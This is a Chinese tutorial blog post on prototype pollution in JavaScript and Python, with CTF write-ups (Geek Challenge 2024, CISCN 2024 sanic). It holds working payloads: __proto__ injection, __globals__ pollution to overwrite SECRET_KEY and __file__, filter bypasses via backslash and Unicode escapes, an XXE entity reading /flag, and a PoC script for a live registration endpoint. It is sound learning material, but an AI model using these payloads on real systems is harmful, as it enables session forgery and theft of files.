原型链污染
原型链污染
一、简述#
原型链污染漏洞和 SSTI(Server-Side Template Injection)漏洞都涉及到原型链,但是原型链污染漏洞产生的原因和利用方式和后者有很大区别。
原型链污染(Prototype Pollution)是指攻击者通过操控对象的原型链,修改或注入不应存在的属性。这样,所有继承自该原型的对象都会受到影响,可能导致程序行为异常、数据泄露或系统漏洞。
区别:
- 原型链污染: 修改对象原型链的行为,影响应用程序的所有对象。
- SSTI: 注入和执行模板表达式,影响模板渲染和服务器端代码执行。
二、JS原型链#
概念:#
大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现
js类#
js 中,定义一个类,需以定义“构造函数”的方式来定义:
function Foo() {
this.bar = 1;
}
new Foo();
解析:
Foo函数的内容,就是Foo类的构造函数,this.bar就表示Foo类中的一个属性
(为简化编写js的代码,ECmAScript6 后增加了class语法,但class其实只是一个语法塘)
js类的方法#
一个类中必然有一些方法,类似属性this.bar,也可将方法定义在构造函数内部
function Foo() {
this.bar = 1;
this.show = function() {
console.log(this.bar);
}
}
(new Foo()).show() // 输出:1 ,相当于let foo=new Foo(); foo.show();
prototype属性#
JavaScript 规定,每个函数都有一个prototype属性,指向一个对象
function f() {}
typeof f.prototype; // "object"
//函数`f`默认具有`prototype`属性,指向一个对象,这个对象就是f的原型对象
//当然原型对象也是对象,也有prototype属性,也就是f.prototype.ptototype,就像一条链,可以一直溯源到Object的原型null
f.prototype.a=1; //给f的原型添加了a变量
let i=new f(); //实例化f为对象i
console.log(i.a); //对象i可以直接访问f原型里的所有属性
proto属性#
prototype:一个类的属性,所有类对象在实例化的时候会拥有prototype中的属性和方法;proto:一个对象的__proto__属性,指向这个对象所在的类的prototype属性
//类实例化的对象不能访问prototype,但可以通过.__proto__来访问类的prototype
function Father() {
this.first_name = 'Donald';
this.last_name = 'Trump';
}
function Son() {
this.first_name = 'Melania';
}
Son.prototype = new Father();
let son = new Son();
console.log(`Name:${son.first_name} ${son.last_name}`)
//对象son没有last_name属性,JavaScript引擎就会通过`__proto__`去其原型对象上寻找,如果原型对象也没有,再通过原型对象的`__proto__`继续向上查找,这个过程会持续进行,直到找到该属性或方法,或者查找到原型链的末端(`null`)。
属性的表示#
//对象和属性之间的表达方式很多,比如直接表达
var person = {
name : "Micheal",
age : 24,
a:function(){return 666}
};
console.log(person.name); //Micheal
//js,对象其实就是键值对,所以我们可以用数组的表达方式
console.log(person['age'],person['a']());
JSON.parse#
let o1 = {};
let o2 = {
a:1,
"__proto__":{b:2}
};
console.log(o2);
//输出:“Object { a: 1 }” ,为什么不是 “Object { a: 1 , __proto__: {b: 2}}” 呢?
//因为在进行键值赋值之前就会把proto解析掉,让其指向其构造函数的prototype指向的对象
//o2的原型对象就成了{"b":2},就不是最上层的Object
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}'); //使用JSON.parse方法,将json数据转换成js对象
//输出:Object { a: 1 , __proto__: {b: 2}}
//JSON解析的情况下,__proto__会被认为是一个真正的“键名”,不代表原型
JS原型链污染漏洞#
如果攻击者控制并修改了一个对象的原型,那将可以影响所有和这个对象来自同一个类、父类的对象,这种攻击方式就是原型链污染
// foo是一个简单的JavaScript对象
let foo = {bar:1};
// foo.bar此时为1
console.log(foo.bar);
// 修改foo的原型(即object)
console.log(foo.bar);
// 修改foo的原型(即object)
foo.__proto__.bar = 2;
// 查找顺序原因,foo.bar仍然是1
console.log(foo.bar);
// 此时用objecr创建一个空的zoo对象
let zoo = {};
// 查看zoo.bar,结果为2
console.log(zoo.bar);
原因:
修改 foo 原型foo.__proto__.bar = 2,而 foo 是一个object类的实例,所以实际上是修改了object这个类,给这个类增加了一个属性bar,值为2
后来用object类创建了一个zoo对象,let zoo = {},zoo对象自然也有一个bar属性了
绕过#
逗号的绕过#
在 web 开发中,req.query
通常是一个包含查询字符串参数的对象。在处理查询字符串时,可能会遇到同一参数名多次出现的情况,比如:
?param=value1¶m=value2¶m=value3
在这个查询字符串中,param
出现了多次。如果你使用 req.query
来访问这个参数,它会如何解析这个参数呢?
答案:req.query -----解析----> 数组 ----json.parse--> 对象 (同一参数名解析后会带上逗号)
在大多数 web 框架中(如 Express.js),req.query
会将查询字符串中的每个参数解析成一个键值对。如果一个参数名出现多次,框架通常会将这些值解析成一个数组。
例如,对于查询字符串 ?param=value1¶m=value2¶m=value3
,解析后的 req.query
可能会是:
{
param: ['value1', 'value2', 'value3']
}
param参数传递给 JSON.parse()
,它会将其解析为一个 JavaScript 对象,例如:
//传入: ?param={'a':1¶m='b':2¶m='c':3}
// 此时 req.query.param为数组:
// [ '{"a":1', '"b":2', '"c":3}' ]
// 最后 JSON.parse解析成 {"a":1,"b":2,"c":3}
const express = require('express');
const app = express();
const port = 3000;
app.get('/', (req, res) => {
// 获取查询GET参数 'param'
const sycParam = req.query.param;
if (sycParam) {
try {
// 解析 JSON 字符串
const parsedData = JSON.parse(sycParam);
// 返回解析后的结果
res.json({
status: 'success',
data: parsedData
});
} catch (error) {
// 如果解析失败,返回错误信息
res.json({
status: 'error',
message: 'Invalid JSON format'
});
}
} else {
res.json({
status: 'error',
message: 'Missing syc query parameter'
});
}
});
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`);
});
例题#
极客大挑战2024 ez_js
const { merge } = require('./utils/common.js');
function handleLogin(req, res) {
var geeker = new function() {
this.geekerData = new function() {
this.username = req.body.username;
this.password = req.body.password;
};
};
merge(geeker, req.body);
if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
if(geeker.hasFlag){
const filePath = path.join(__dirname, 'static', 'direct.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}else{
const filePath = path.join(__dirname, 'static', 'error.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}else{
const filePath = path.join(__dirname, 'static', 'error2.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}
function merge(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
module.exports = { merge };
payload
{"username":"Starven","password":"123456",
"__proto__":{"hasFlag":true}
}
三、Python原型链污染#
污染原理#
Python 中的原型链污染(Prototype Pollution)是指通过修改对象原型链中的属性,对程序的行为产生意外影响或利用漏洞进行攻击的一种技术。
在 Python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。常见的原型链污染攻击包括修改内置对象的原型、修改全局对象的原型等
比如,通过修改__class__.__qualname
污染类名:
class Employee(): pass
a=Employee()
a.__class__.__qualname__ = 'polluted'
print(a.__class__) # Output:<class '__main__.polluted'>
但是,__qualname__
属性仅仅只是记录类名的字符串,并不能修改对象所指向的类。
class Employee(): str = 'fail'
class pulluted: str = 'success'
a=Employee()
a.__class__.__qualname__='polluted'
print(a.__class__) # Output:<class '__main__.polluted'>
print(a.str) # Output:fail
想要修改对象所指向的类,就要修改__class__
属性
class Employee(): str = 'fail'
class polluted: str = 'success'
a=Employee()
a.__class__= polluted
print(a.__class__) # Output:<class '__main__.polluted'>
print(a.str) # Output:success
污染条件#
merge函数污染#
和Javascript原型链污染差不多,原型链污染需要merge合并函数,通过递归合并来修改父级属性,CTF中常见的merge函数如下
def merge(src, dst): #src为原字典,dst为目标字典
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'): # 如果实现了__getitem__魔术方法,则可以用键值对字典形式访问对象属性
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k)) #递归到字典最后一层
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: # 如果dst有键k,且值v还是字典,进入递归
merge(v, getattr(dst, k)) # 直到递归到最终的父类
else:
setattr(dst, k, v)
# 函数解释:
1.hasattr(object, attribute_name) # 检查一个对象是否具有指定的属性或方法
object: 你要检查的对象。
attribute_name: 一个字符串,表示你要检查的属性或方法的名称。
2.getattr(object, attribute_name[, default]) # 获取对象的指定属性的值
object: 你要查询的对象。
attribute_name: 一个字符串,表示你要获取的属性名称。
default: 可选参数。如果指定的属性不存在,将返回这个默认值。如果省略而属性不存在,会引发 AttributeError 异常。
3.setattr(object, attribute_name, value) # 设置对象的属性值
object: 你要修改的对象。
attribute_name: 一个字符串,表示你要设置的属性的名称。
value: 要设置的属性的值。
__getitem__ 方法: 这是一个特殊方法(魔术方法),用于定义如何通过索引访问对象的元素。例如,列表、字典和字符串都实现了 __getitem__ 方法,从而允许通过下标或键来访问其元素。
实例:
污染全局变量
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
class test:
def __init__(self):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
flag = False
instance1 = son_b()
instance2 = test()
payload1 = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}
payload2 = {
"__class__" : {
"__init__" : {
"__globals__" : {
"flag" : "True"
}
}
}
}
print(son_a.secret)
#hello
print(instance1.secret)
#hello
print(flag)
#False
merge(payload1, instance1)
merge(payload2, instance2)
print(son_a.secret)
#world
print(instance1.secret)
#world
print(flag)
#True
首先,字典src就是我们的payload,dst就是目标对象son_b和test。
我们通过污染可以修改全局变量flag的值,以及修改father类的secret属性。
- 先看payload1,字典中只有一个键
__class__
,在merge函数中触发条件elif hasattr(dst, k) and type(v) == dict:
(意思是instance1里有k,也就是__class__
键,且键的值也是字典类型)。 - 进入下一轮递归,
merge(v, dst.get(k))
,此时v是{"__base__" : {"secret" : "world"}}
, dst.get(k)是instance1的__class__
属性son_b。同样触发elif hasattr(dst, k) and type(v) == dict:
- 最后一轮递归,
merge(v, dst.get(k))
,此时v是{"secret" : "world"}
, dst.get(k)是son_b的__base__
属性father类,最后触发条件else:setattr(dst, k, v),将键和值赋给father类,成功修改了secret的值。
Pydash函数污染#
Pydash其实和merge函数类似,将在下面TSCTF这题中给出示例。
from flask import Flask, request
import os
import pydash
import urllib.request
app = Flask(__name__)
os.environ['cmd'] = "ping -c 10 www.baidu.com"
black_list = ['localhost', '127.0.0.1']
class Userinfo:
def __init__(self):
pass
class comexec:
def test_ping(self):
cmd = os.getenv('cmd')
os.system(cmd)
@app.route("/define", methods=['GET'])
def define():
if request.remote_addr == '127.0.0.1':
if request.method == 'GET':
print(request.args)
usname = request.args['username']
info = request.args['info']
origin_user = request.args['origin_user']
user = {usname: info}
print(type(user))
# pydash
pydash.set_with(Userinfo(), origin_user, user, lambda: {})
result = comexec().test_ping()
return "USER READY,JUST INSERT YOUR SEARCH RESULT"
else:
return "NOPE"
@app.route("/search", methods=['GET'])
def search():
if request.method == 'GET':
urls = request.args['url']
for i in black_list:
if i in urls:
return "HACKER URL!"
try:
info = urllib.request.urlopen(urls).read().decode('utf-8')
return info
except Exception as e:
print(e)
return "error"
else:
return "Method error"
@app.route("/")
def home():
return "<html> Welcome to this Challenge </html> <script>alert('focus on the source code')</script>"
if __name__ == "__main__":
app.run(debug=True, port=37333, host='0.0.0.0')
污染过程#
感觉和之前学的flask的模板注入过程差不多,都是通过属性和方法的一层层调用,从而实现属性的修改
污染属性#
这里我们要污染father类里的secret属性
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world
污染全局变量#
python中的所有全局变量都记录在__globals__
属性中,因此污染全局变量的关键就是找到__globals__
属性
这里我们通过__globals__
里找到了__file__
属性,然后修改为“D:\html study\PyCharm Project\flask_pydash1\flag”文件
from flask import Flask
from pydash import set_
import json
app = Flask(__name__)
class Pollute:
def __init__(self):
pass
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open(__file__).read()
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
payload = {
r"key": r"__init__.__globals__.__file__",
r"value": r"D:\html study\PyCharm Project\flask_pydash1\flag"
}
key = payload['key']
value = payload['value']
pollute = Pollute()
set_(pollute,key,value)
return "Finished pollute "
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000,debug=True)
sanic原型链污染#
ciscn2024-web
app.py
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
污染file变量:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
我们只需要找到globals变量即可操纵所有的全局变量,当然包括file变量。
绕过 _.
使用反斜杠转义绕过,_\\\\.
payload: key = __class__.__init__.__globals__.__file__ ; value = flag.txt
sanic官方文档有一个app.static:
简化测试代码:
from sanic import Sanic
from sanic.response import text
import pydash
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return text('hello')
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
if __name__ == '__main__':
app.run(host='127.0.0.1')
我们要找到修改directory_view的原型链,需要用到调试功能。
跟进app.static
函数的位置:
下方有属性功能的注释,翻译一下:
我们知道,光能列出static目录下的文件列表肯定是不够的,因为flag可能藏在根目录里,也就是要修改file_or_directory
的值。
sanic框架可以通过app.router.name_index['xxxxx']来获取注册的路由,也就是说我们跟踪name_index,一定会遇到通向directory_view的路由。
跟进后找到name_index被赋值的位置,设下断点:
回到主文件,开启调试:
我们在调试框里搜索"directory":
发现在一个叫handler的值下,展开找到具体的位置:
那么整个链条就可以理清楚了:
print(Pollute.__init__.__globals__['app'].router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view) # False
payload:
{"key":"__class__.__init__.__globals__.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory_view","value":true}
//加入反斜杠绕过,注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而__mp_main.static是一个整体,不能分开,我们可以用两个反斜杠来转义就够了
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}
四、实战场景#
注册系统污染#
大多数实战情况下,我们是看不到源码的,这时需要猜测需要污染的对象。
比如:在一个登录场景下,目标使用了session,而我们需要伪造session成为管理员,这时我们需要污染的对象就是key。
不妨在注册时,写一个poc试试:
import requests
import json
url = "https://url/register"
payload = {
"username": "test",
"password": "test",
"__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "baozongwi"}}}},
}
r = requests.post(url=url, json=payload)
print(r.text)
原型链配合xxe攻击#
极客大挑战2024:py_game
部分源码:
import json
from flask import Flask, request, Response, jsonify
from lxml import etree
app = Flask(__name__)
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'
class User:
def __init__(self, username, password):
self.username = username
self.password = password
admin = User('admin', '123456j1rrynonono')
def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
update(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route("/xml_parse")
def xml_parse():
try:
xml_bytes = app.config["xml_data"].encode("utf-8")
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.fromstring(xml_bytes, parser=parser)
result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
return Response(result_xml, mimetype="application/xml")
except etree.XMLSyntaxError as e:
return str(e)
xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
'__class__'.encode(),
'__init__'.encode(),
'__globals__'.encode()]
def check(data):
print('check:', data)
for i in black_list:
print(i)
if i in data:
print(i)
return False
return True
@app.route("/update", methods=["POST"])
def update_route():
if request.data:
try:
if not check(request.data):
return 'NONONO, Bad Hacker', 403
else:
data = json.loads(request.data.decode())
print("json:", data)
if all("static" not in str(value)
and "dtd" not in str(value)
and "file" not in str(value)
and "environ" not in str(value)
for value in data.values()):
update(data, User)
print(app.config['xml_data'])
return (
jsonify({"message": "更新成功"}), 200)
return 'Invalid character', 400
except Exception as e:
return (
f"Exception: {str(e)}", 500)
else:
return 'No data provided', 400
if __name__ == '__main__':
app.run('0.0.0.0', 8080, False)
思路:
通过原型链污染app.config['xml_data'] ,进行xee攻击。
黑名单绕过:
黑名单过滤了__init__,可以用Unicode编码绕过(json后会自动解码Unicode转义字符)。
if条件里禁用了dtd、file等关键字,所以我们直接用SYSTEM '/flag'
读文件即可。
payload:
{"_\u005finit__":{
"_\u005fglobals__":{
"app":{
"config":{
"xml_data":"<!DOCTYPE a [<!ENTITY d SYSTEM '/flag'>]><root><name>&d;</name></root>"
}
}
}
}}
此时再去/xml_parse下查看flag即可
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!